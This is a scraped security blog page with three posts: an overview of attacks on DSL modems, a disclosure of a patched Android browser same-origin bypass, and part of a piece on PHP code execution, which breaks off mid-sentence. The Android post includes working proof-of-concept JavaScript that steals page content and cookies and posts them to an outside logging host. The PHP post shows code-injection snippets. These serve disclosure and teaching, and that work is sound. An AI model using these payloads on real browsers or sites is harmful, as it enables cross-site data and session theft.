KNOX D3

Common Attacks Against Modems

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" width="320" /></a></div><h2 style="text-align: left;"><span id="goog_3749436"></span><span id="goog_3749437"></span></h2><h2 style="text-align: left;">0x01: Introduction to Modems</h2><div style="text-align: left;">The term DSL modem is technically used to describe "a modem which connects to a single computer, through a USB port or is installed in a computer PCI slot". The more common DSL router which combines the function of a DSL modem and a home router is a standalone device which could be connected to multiple computers through multiple Ethernet ports or an integral wireless access point. Also called as a "residential gateway", a DSL router usually manages the connection and sharing of the DSL service in a home or small office network.<br /><br /><a name="more"></a><br />Most consumer DSL lines use one of several variations and varieties of Asymmetric DSL (ADSL). The "asymmetric" DSL here means that more of the bandwidth of the line is dedicated to downstream (download) data than upstream (upload) data. Hence, download rates are faster than upload rates since most users download much larger quantities of data than they actually upload. Because the telephone lines were never designed to carry such high frequency signals, DSL is distance-sensitive. The farther away from the switching center the modem is, the longer the telephone wires, the weaker the signal, and the lower the data rate that the modem can achieve. Users in metropolitan areas, close to switching centers, may have access to higher rate service, up to 8 Mbit/s than the expected rate for the same service in remote areas.<br /><u><br /></u><u>Reference: en.wikipedia.org/wiki/DSL_modem</u></div><div style="text-align: left;"><u><br /></u></div><h4 style="text-align: left;">0x02: Market Share</h4><div style="text-align: left;">The modem manufacturers mostly are mostly chinese based . Research shows that companies like ZTE & Huawei are doing very well and have gained enterprise router share in china over the past year. In China ZTE is placed third player in 2013 and 2014 with dizzying rise this year than the popular consortium Cisco. (Which happens to be more secure). This is also due to the fact that cisco's products are very costly and difficult for the home users to afford. </div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"> </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x03: Backups& Backdoors</h4><div class="MsoNormal" style="text-align: left;">All modems include  Backup files mainly because of the need to recover the modem to the original state after a reset. However, knowing the direct link to the backup file puts the modem directly in danger. All an attacker has to do is request the backup file and view it; mostly this is juicy plain info that contains passwords, ISP configurations.<br /><br />Knowing this however, some vendors try to encrypt the contents that are inside these files. So downloading this would be useless for the attacker. But this isn’t entirely impossible as lots of vendors tend to use weak encryption mechanisms to encrypt backup file. And research done by white hats such as Osanda Malith shows that. He for example provided a PoC tool used to decrypt these rom-0 (Backup) files from most modems, including ZTE and TP-Link.</div><div class="MsoNormal" style="text-align: left;"><br />Most of the chinese Vendors such as ZTE are banned from the US, one because they being incredibly insecure and two because, they put malicious backdoors to snoop and eavesdrop on individuals and organizations.<br /><br />Lots of trusted companies such as TP-Link, Huawei and other chinese companies have a record of placing backdoors in their products. These backdoors are normally in form of open ports which on connecting would provide a reverse shell. The ports are often found to be high in number to make it harder to detect.<br /><br />One of such examples can be found <a href="http://sekurak.pl/more-information-about-tp-link-backdoor/" rel="nofollow" target="_blank">here</a>. This lets them capture sensitive files and sometimes sell it for residing countries. This strategy is great one for governments to spy on their citizens as well as for great as a part of a cyber attack against a particular country. So for example: A country could sell cheap  backdoored modems to a target country, and in case the modems end up being used on military and sensitive systems, then they have hit a jackpot. </div><h4 class="MsoNormal" style="text-align: left;">0x04: Default Configuration details and Hardcoded Credentials</h4><div style="text-align: left;">Apparently, all if not most modems come with very easy to guess password configurations. Infact, most of them are identical like: username:admin and password: admin. Most people do not change the configuration details and most ISP’s leave this as default.<br /><br />This amazingly is a good news for malicious users. Because all they have to do is know the vendor and they can get their hands on it easily using sites such as http://www.routerpasswords.com/ to extract information.</div><div style="text-align: left;"></div><h4 style="text-align: left;">0x05: XSRF and XSS</h4><div style="text-align: left;"></div><div style="text-align: left;"> </div><div class="MsoNormal">These two are two of the most common flaws in the history of web security. Mmost ZTE modems do not use anti-XSRF tokens (Used to prevent CSRF Attacks) on any sensitive request.<br /><br /></div><div class="MsoNormal">XSS is even more worsed because if one found an XSS flaw in any modem (which is likely), he can send that link to a logged in administrator and perform any action in behalf of the admin, this could be done by stealing the XSRF-Token. Also, an XSS could also allow session hijacking and other browser attacks.</div><div class="MsoNormal"><br /></div><div class="MsoNormal">XSRF flaws are more commonly found in modems as opposed to xss due to the fact that modems use <a href="http://pwntoken.wordpress.com/2014/12/07/required-http-security-inspection-on-application-security/" target="_blank">HTTP</a> authentications most of the time. So Headers are mainly used in communications protocols to communicate with one another. This makes it harder for the modem to detect and create anti-csrf tokens other than to compare it. <br /><br /></div><div class="MsoNormal">Because of these or just because of careless developing it is sometimes possible in to tricking admins changing passwords, issuing commands or easing access. </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x06: Social Engineering</h4><div class="MsoNormal" style="text-align: left;">What would you say if a blocked number called you and told you that she is from your ISP and she needs your credentials in order to add/maintain the new and revised 3G technology into your modem. Or even she asks you to maintain security flaws in your modem? You surly never expect this to be a troll. I mean, why would you? And then next thing you know, she snooped your configuration password. Knowing this password could mean (since lots of people use same passwords) that she got access to email password, financial account, etc. </div><div class="MsoNormal" style="text-align: left;"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x07: Exploit Databases</h4><div class="MsoNormal" style="text-align: left;">Many Exploit databases hold juicy info about modems. Including default configurations, XSRF/XSS/LFI flaws, logical issues, backdoors. So all you need to do is to find the modem version and give a search on exploit databases such as exploit-db.com, 1337day.com etc<br /><br />So say, in case you found an exploit against a previous version of a modem, however not for the exact version. This necessary doesn't mean yours isn’t vulnerable to the particular exploit you found. Infact most vendors use same architecture to construct the web architecture of their modems. So one XSS on one model could mean XSS on all other vendor modems.</div><h4 class="MsoNormal" style="text-align: left;">0x08: Eavesdropping</h4><div class="MsoNormal" style="text-align: left;">The lack of SSL usually means bad luck for modems. Especially if it’s for office/public usage because the admin is always in risk of accessing any file from the modem. The reason being, that it is very easy to sniff ongoing traffic with with tools like Wireshark.<br /><br />The fact that modems use login protocols like HTTP authentication puts them in more danger because when requesting any file, the modem should request the authentication header and the admin responds in (mostly Base64 form), and an attack easily can sniff this and decode the communication easily it.<br /><br />Even when using SSL (note very few modems use it), it can still be insecure and even pose more risk. Recently, A lot of attacks have been identified against SSL protocols Heartbleed, POODLE to name a few. </div><h4 class="MsoNormal" style="text-align: left;">0x09: Denial Of Service</h4><div class="MsoNormal" style="text-align: left;">Denial of Service is one of the most annoying things I can think of next to a Log out CSRF. People with bad intentions can use this type of attack to knock a modem out of delivering internet and sometimes even let the modem reset itself. <br /><br />This is really crazy for people trying to do their job. The fact this attack can easily be turned an untraceable attack can make your business day a big pain just because you choose to use a vulnerable modem.<br /><br />Most modems by design don’t hold more HDD than 25MB and less than 2MB ram with no DOS protections. This usually means they can handle limited amount of data with huge amount of time. All an attacker has to do is send more requests than the modem can handle and hence exhausting it's memory and resulting in a DOS.<br /><b><br /></b><b>0x10: Lack Of Updates</b><br /><br />Modem users seldom receive updates for modems in case a critical vulnerabilities have been identified in the wild, and a lot of them don't really have a mechanism for providing OTA (Over the Air) updates. A lot of times, users manually have to upgrade the firmware and ofcourse which is not possible for people having lack or no technical knowledge. </div><h4 class="MsoNormal" style="text-align: left;">0xA: Suggestions</h4><ol style="text-align: left;"><li>If you are an admin/user of a modem, Try not to stay logged in to make attacks like XSRF,XSS and ClickJacking less effective. .</li><li>Try doing a little research about the modem model you are trying to buy. Google exploits for it, try to search if it uses secure connection (TLS), if it is vulnerable, why should you. Look for another.</li><li>Try disabling remote access to decrease the attacker’s possibility of gaining access over the internet; since most of the modem exploits require LAN access, it’s a good thing to disable Telnet, web and even ftp access to modem remotely.</li><li>Limit Physical Access. Because, most modems have a physical hard reset key/button, it should be noted most of them should remain in a secured environment where only authorized people can reach.</li></ol><h4 style="text-align: left;">About the Author:</h4><div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">This  following article is a guest post by Paulos Yibelo. Yibelo is the  newest member of RHA family. He is a full time PHP coder and most of his  research is involved with application security. In his free time he  loves writing articles related to application security  http://paulosyibelo.blogspot.com/. - See more at:  http://www.rafayhackingarticles.net/2014/09/indepth-code-execution-in-php-part-two.html#sthash.b5OotKP6.dpuf</div><div style="text-align: left;">This following article is a guest post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security <a href="http://paulosyibelo.blogspot.com/" rel="nofollow" target="_blank">http://paulosyibelo.blogspot.com/</a></div><div style="text-align: left;"></div></div>

Common Attacks Against Modems

0x01: Introduction to Modems The term DSL modem is technically used to describe "a modem which connects to a single computer, through a...

+ Read more »

A Tale Of Another SOP Bypass In Android Browser < 4.4

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" /></a></div><div dir="ltr" style="text-align: left;" trbidi="on"><br />Since, my recent <a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html" rel="nofollow" target="_blank">android SOP bypass [CVE-2014-6041]</a> triggered a lot of eruption among the infosec community, I was motivated to research a bit more upon the android browser, it turns out that things are much worse than I thought, I managed to trigger quite a few interesting vulnerabilities inside of Android browser, one of them being another Same Origin Policy Bypass vulnerability. The thing that makes it worse was the same SOP bypass was already <a href="http://trac.webkit.org/changeset/96826" rel="nofollow" target="_blank">fixed</a> inside of chrome years ago, however the patches were not applied to Android browser < 4.4.<br /><a name="more"></a><br /><h4>Proof Of Concept</h4>The following is the proof of concept:<br /><br /><script><br />window.onload = function()<br />{<br />    object = document.createElement("object"); <br />    object.setAttribute("data", "http://www.bing.com");<br />    document.body.appendChild(object);<br />    object.onload = function() {<br />      object.setAttribute("data", "javascript:alert(document.domain)");<br />        object.innerHTML = "foobar";<br />    }<br />}<br /><div></script></div><div><br /></div><div><br />The POC is very easy to understand for individuals having some javaScript background. However, for others let me break it down for you. The above code creates an object with data attribute, which loads up a URL from another origin in this case "<b>http://www.bing.com</b>", however once it's loaded, we replace bing.com with "javascript:alert(document.domain)". The interesting thing here is that the last line is essential for the POC to work <b>object.innerHTML = "foobar"; </b>so that the navigation request is performed<br /><br />Let's take a look at the vulnerable code that is responsible for the causing the issue:<br /><h4>Vulnerable Code</h4>bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)<br />{<br />    ASSERT(document());<br />    ASSERT(document()->frame());<br />    if (document()->frame()->page()->frameCount() >= Page::maxNumberOfFrames)<br />        return false;<br />    <b><u><span style="color: red;">KURL completeURL = document()->completeURL(url);</span></u></b><br /><br /><br />The above function is responsible for loading up the frame URL, if you take a close look at the code, you would find out that there is no validation for javascript scheme, which allows us to execute javaScript in context of the frame that was loaded.<br /><h4>The fix</h4>The issue was <a href="https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef%5E%21/#F0" rel="nofollow" target="_blank">fixed </a>by applying the following checks from <b>securityorigin.h</b> library. <br /><br />  if (contentFrame() &&<span style="color: red;"> protocolIsJavaScript(completeURL)</span><br />       && !document()->securityOrigin()->canAccess(contentDocument()->securityOrigin()))<br />       return false;<br /><h4>Proof Of Concept Using Postmessage Call</h4>To help understand the vulnerability better and get to the root cause, i contacted Joe Vennix from metasploit team, who modified my original POC to the following to help demonstrate the vulnerability in an effective manner. The following POC uses postMessage call from HTML 5 world to send the document.cookie and innerHTML to the main window.<br /><br /><script><br />window.onload = function()<br />{<br />    object = document.createElement("object");<br />    object.setAttribute("data", "http://www.bing.com");<br />    document.body.appendChild(object);<br />    object.onload = function() {<br />        object.data = "javascript:var t=top;with(document)t.postMessage('HTML='+body.innerHTML+'&COOKIE='+cookie,'*');";<br />        object.innerHTML = "foobar";<br />    }<br />}<br /><br />window.onmessage = function(m){<br />  alert(m.data);<br />}<br /></script><br /><br /><h4>Proof Of Concept To Steal Data Across Domains</h4>A great friend of mine @filedescriptor helped me with the following POC, which steals data from bing.com by accessing the document.body.innerHTML property as submits that data cross origin by using a POST request, since you can send limited amount of data with GET due to browser restrictions.<br /><br /><script><br />window.onload = function()<br />{<br />object = document.createElement("object");<br />object.setAttribute("data", "http://www.bing.com");<br />document.body.appendChild(object);<br />object.onload = function() {<br />object.data = "javascript:with(document)body.innerHTML+='<form method=post action=//kcal.pw/record.php?name=__target=_><input name=content></form><iframe name=_>',__.content.value=body.innerHTML,__.submit()";<br />object.innerHTML = "foobar";<br />}<br />}</div><div><br />The PHP file hosted at record.php contains the following line, which saves the data coming from bing.com to a file called record.txt.<br /><b><br /></b><b>file_put_contents('record.txt', $_POST['content']);</b><br /><br />The following are some of the handsets that we used to test and verify this vulnerability.<br /><h4>Sony Xperia</h4><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnaBm9l118beLDbu4Tj7FfiBxPN2jiinVbUkBDiQgP_n_oIEIFi-bgEBL-p1Tu6xqesGxY9vGT9cSAFeOSx8MypADxBk6dsJxlJxj0qjOf7y1JEaNheSH-t61cV3rp2WHW53VHhClIRfs/s1600/SONY.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnaBm9l118beLDbu4Tj7FfiBxPN2jiinVbUkBDiQgP_n_oIEIFi-bgEBL-p1Tu6xqesGxY9vGT9cSAFeOSx8MypADxBk6dsJxlJxj0qjOf7y1JEaNheSH-t61cV3rp2WHW53VHhClIRfs/s1600/SONY.png" width="364" /></a></div><h4>LGNexus4</h4><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc6wb-S9dxp36s96uLbLvSpGjQlOsHsG3JG-ncxperPU9lBV0ujUFnU4UH1KghjAPxVaojN_rKHPzUwJE6fHFdZsHcRnMwZiOV6HMu3X0J8p6wM27Gdjpu5VIzbj9vKXXQlJtbiZk4yxY/s1600/LGNEXUS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc6wb-S9dxp36s96uLbLvSpGjQlOsHsG3JG-ncxperPU9lBV0ujUFnU4UH1KghjAPxVaojN_rKHPzUwJE6fHFdZsHcRnMwZiOV6HMu3X0J8p6wM27Gdjpu5VIzbj9vKXXQlJtbiZk4yxY/s1600/LGNEXUS.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Samsung Galaxy S3</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjhf9VNXEHCza6z72HOUoifEaftel85lnYrdGQVwR2JnPThdrC67jrdW5fOMrtpJc03osf0BNq7cZDMCam68Lq0dJBHXGGl4mUnrVrbkkOG2GfasIN7usPNVcapFEKaahSuifO9YbquU/s1600/samsung+galaxy+s3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjhf9VNXEHCza6z72HOUoifEaftel85lnYrdGQVwR2JnPThdrC67jrdW5fOMrtpJc03osf0BNq7cZDMCam68Lq0dJBHXGGl4mUnrVrbkkOG2GfasIN7usPNVcapFEKaahSuifO9YbquU/s1600/samsung+galaxy+s3.png" width="322" /></a></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Safari Browser 5.0</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2I-1IyGVOYerr4IS6uRwLRFAPhSRNFvQM95a3DuSWgdRD4KLMwI7Qa4lhaJfPqhT1ygpwU3xjyN9crOAQLlnuLzR-3e4ZanvXPW5-81-ccW9vVWRcyayYFG5_1-VW80nveE633Y7lEOI/s1600/safari+5.0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2I-1IyGVOYerr4IS6uRwLRFAPhSRNFvQM95a3DuSWgdRD4KLMwI7Qa4lhaJfPqhT1ygpwU3xjyN9crOAQLlnuLzR-3e4ZanvXPW5-81-ccW9vVWRcyayYFG5_1-VW80nveE633Y7lEOI/s1600/safari+5.0.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><h4>Google's Response</h4>The vulnerability was responsibly disclosed to Google on 9/25/2014, The vulnerability was fixed on 10/1/2014 and the patches have been released <a href="https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef" rel="nofollow" target="_blank">here</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBC7rknn28IrSjKzlmK4C2-gEEdRF_wnWZUYbCbLRXaSPemZQb6l3cxbUSgW9Xn56EK-1crnHIEyLC97qo4qeSp1d5NBN0OzLqLVKuXzUNNvvoI35U0-ivktGfE1j0Hqj_oNYnZIFm_XU/s1600/jb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBC7rknn28IrSjKzlmK4C2-gEEdRF_wnWZUYbCbLRXaSPemZQb6l3cxbUSgW9Xn56EK-1crnHIEyLC97qo4qeSp1d5NBN0OzLqLVKuXzUNNvvoI35U0-ivktGfE1j0Hqj_oNYnZIFm_XU/s1600/jb.png" width="577" /></a></div></div></div><h4>In Closing</h4><div>There are tons of other browsers with huge userbase that are vulnerable to same vulnerability, Maxthon, CM Browser, Safari Browser 5.0 to name a few. In case if you are still using Android browser or any of other browser, you should immediately apply patches or switch to Chrome or firefox. I believe there are several other vulnerabilities that were addresses in chrome webkit and still have not been addressed inside of Android browser, therefore it is recommended to avoid it completely.<br /><br /><b><br /></b><b>Press Coverage</b><br /><br />http://news.yahoo.com/half-android-phones-still-vulnerable-massive-privacy-bug-135551464.html<br /><br />http://www.redmondpie.com/massive-privacy-bug-affects-many-android-devices-heres-how-to-protect-yourself/<br /><br />http://threatpost.com/second-same-origin-policy-bypass-flaw-haunts-android-browser<br /><br />http://www.securityweek.com/google-patches-second-same-origin-policy-bypass-flaw-android-browser<br /><br />http://www.pcworld.com/article/2823012/almost-half-of-android-devices-still-have-a-vulnerable-browser-installed.html<br /><br />http://www.csoonline.com/article/2690910/application-security/android-browser-flaw-found-to-leak-data.html<br /><br />http://tribune.com.pk/story/771546/on-a-roll-another-bug-exposed-by-pakistani-researcher/<br /><br />https://blog.lookout.com/blog/2014/10/06/aosp-browser-vuln/<br /><br />http://www.net-security.org/secworld.php?id=17459<br /><br />http://www.zdnet.com/half-of-all-android-devices-still-vulnerable-to-privacy-disaster-browser-bug-7000034500/<br /><br />http://www.cio.com.au/article/556967/almost-half-android-devices-still-vulnerable-browser-installed/?fp=16&fpid=1<br /><br />http://www.computerworld.com/article/2822813/45-of-android-devices-still-have-a-vulnerable-browser-installed.html#tk.rss_all<br /><br />http://tribune.com.pk/story/776018/bugged-half-of-android-users-vulnerable-to-privacy-disaster/<br /><br />http://checkmarx.com/2014/10/21/pakistani-ethical-hacker/</div></div>

A Tale Of Another SOP Bypass In Android Browser < 4.4

Since, my recent android SOP bypass [CVE-2014-6041] triggered a lot of eruption among the infosec community, I was motivated to research a ...

+ Read more »

Indepth Code Execution in PHP: Part Two

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFvkYvbpM38nT9OV4q7K0W19a5AhZuRWAWh_3ZGbwCDKE9L-mQV2FShg0g-z_rkrVgtUNg0W9gJGrjx6XTpjL-xF-IB0LNeCC0eOlNHISqMHekhbLDeJv9AWic0SUOCwVUFn53FJR5qLI2/s1600/phpbugs.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFvkYvbpM38nT9OV4q7K0W19a5AhZuRWAWh_3ZGbwCDKE9L-mQV2FShg0g-z_rkrVgtUNg0W9gJGrjx6XTpjL-xF-IB0LNeCC0eOlNHISqMHekhbLDeJv9AWic0SUOCwVUFn53FJR5qLI2/s1600/phpbugs.PNG" width="320" /></a></div><br />This is a continued post from Code Execution in PHP; you can read the first post <a href="http://www.rafayhackingarticles.net/2014/08/remote-code-execution-in-php-explained.html" target="_blank">here</a>, so if you haven't read that before please go ahead and read it first or else you would have problem understanding the second part.<br /><br />“…It’s no secret that PHP is an easy language to which anyone with amateur coding skills could work with and as a rule with poor knowledge of basic security concepts, this factor alone often lead to new poorly written web-applications; Thus compromising their hosts and extraction of sensitive information. Recently, I was on a pentest for a project to which I was working on and went noticing unusual type of code execution. I decided to write about Code Execution Indepth because the developers need to focus on their poorly written web applications in PHP. This article will try covering code execution flaws in places which are less predictable and detail on snippets of code which might look secure while providing possibilities for ‘code injection’...”<br /><br /><a name="more"></a><br /><br />In the earlier article, I tried covering practical examples which could potentially lead to Remote Command Execution (RCE) in PHP. Now let’s discuss about some other methods/mistakes which a PHP developer might just had done in writing his/her web application.<br /><br /><h4 style="text-align: left;">Curly Braces:</h4><div style="text-align: left;">They say curly syntax is meant to separate code from strings.  In contrast to this view, what it actually does is, ‘embed’ it. As in PHP manual pages written, it means that it would allow to use complex expressions (too complex but let’s just stick with minimal complexity for the sake of the demonstration).<br /><br />Imagine Curly braces being used this way:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    <?php<br />    If(isset($_GET['year']){<br />    $year=$_GET['year'];<br />    $finalizae="My birthday is 19{'year}.";<br />    print $finalize<br />    ?></blockquote><div style="text-align: left;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_AXw3Ntoy5xRVfl1yMPPRQh7RBR6A9o7FUad36FsWFIFS4u4LuLQucfETmjX1nG0OZtqMBI7N9IU65rytgvOGPYDaOpqk6INJxBU9MFFGe5fswDXPV-2yib4LdkWbwMOclAt_TuKPy92P/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_AXw3Ntoy5xRVfl1yMPPRQh7RBR6A9o7FUad36FsWFIFS4u4LuLQucfETmjX1nG0OZtqMBI7N9IU65rytgvOGPYDaOpqk6INJxBU9MFFGe5fswDXPV-2yib4LdkWbwMOclAt_TuKPy92P/s1600/1.PNG" /></a></div><div style="text-align: left;"><br />The code used is supposed to ‘echo’ out the year variable (97) embedded inside “My birthday is 19xx” so an user had to submit ‘12’ to the ‘year’ as an input, it code would print out or ‘echo’, “My birthday is 1912”<br /><br />Maliciously submitting an input such as ‘dir’ would end up listing files and folders of current directory when $finalize is called in the realm of PHP. This in turn would provide vivid information to a web attacker. Other commands are possible, I had just used ‘dir’, to be reliably simple enough!<br /><br />Let’s imagine cases like:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">     $brief="I was here until ${`dir`} appeared here";</blockquote><div style="text-align: left;"><br />From the aforementioned code, ‘dir’, the system command would get executed. Wow. Why did that happen? Well, the code between curly braces will be evaluated and result will replace {`dir`} thus ending up creating a variable. That is the absolute reason why if this one PHP will be complaining about undefined PHP variable. What happened is fairly similar to:</div><div style="text-align: left;"><br /></div><blockquote>    <?php<br />    eval("$brief");<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLVWqMH6brKAzZs5P7u2Fht8b6b5_5olD8MIFv945-x9mWr_rKbyVnSBZdqvjZpBqllLH9Gkw3yHEzKgc1EHlw3SbFz2JuXohcT-VopaCbwO1udOZf9nmakb-JUe1ezzQAkXJM0jg_ndiC/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLVWqMH6brKAzZs5P7u2Fht8b6b5_5olD8MIFv945-x9mWr_rKbyVnSBZdqvjZpBqllLH9Gkw3yHEzKgc1EHlw3SbFz2JuXohcT-VopaCbwO1udOZf9nmakb-JUe1ezzQAkXJM0jg_ndiC/s1600/3.PNG" /></a></div><br /><div style="text-align: left;"><br />“$breif” is a result of the “dir” command as a string, similar malicious case for an web attacker to execute commands and ex-filtrate information would be:</div><div style="text-align: left;"><br /></div><blockquote>    <?php<br />    $name='phpinfo';<br />    ${name}();<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1H7saSBZerkFCRjaHJ8wjFDaERa0CbzcnDlImpx9lzJPfHdC6-ulwtTKzQCvDT5sVB07Tmf4ZgsAWaXVgvFUKalAW4wzA054f0yuy36DlVgO7svdAKyDcyPr1NKxoTbZ7BV3zGrnxCHHl/s1600/4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1H7saSBZerkFCRjaHJ8wjFDaERa0CbzcnDlImpx9lzJPfHdC6-ulwtTKzQCvDT5sVB07Tmf4ZgsAWaXVgvFUKalAW4wzA054f0yuy36DlVgO7svdAKyDcyPr1NKxoTbZ7BV3zGrnxCHHl/s1600/4.PNG" /></a></div><br /><div style="text-align: left;"><br />If the above example for example stored name as the username and our username submitted was ‘phpinfo’, what happened as per the malicious request submitted as a payload leads to command execution revealing sensitive information disclosure. </div><h4 style="text-align: left;">Other Cases:</h4><div style="text-align: left;"><br />There are functions such as assert() which could be equally exploited but is rarely known to the web developers, it is often found on CTF challenges, same thing as the eval function. </div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    <?php<br />    $name='phpinfo()';<br />    assert($name);<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRhKS9YDEg7ccUJLrLTkDLT6NSDPLw90DKVODAONiD6jvynUdogp_l26eyzA0P0KoigrOj6nuGJqNhnqXWCaqiD6OTpgWQ11rmxhLI7ZZZHLYRkRbGi3FXwty-Q_46zdu6IdJxPkcbeaPj/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRhKS9YDEg7ccUJLrLTkDLT6NSDPLw90DKVODAONiD6jvynUdogp_l26eyzA0P0KoigrOj6nuGJqNhnqXWCaqiD6OTpgWQ11rmxhLI7ZZZHLYRkRbGi3FXwty-Q_46zdu6IdJxPkcbeaPj/s1600/5.PNG" /></a></div><br /><div style="text-align: left;"><br />Assert is designed to help with debugging and not evaluation, thus, leading to command execution. So if you use assert in a user supplied input which you think is trustable, probability is your code might 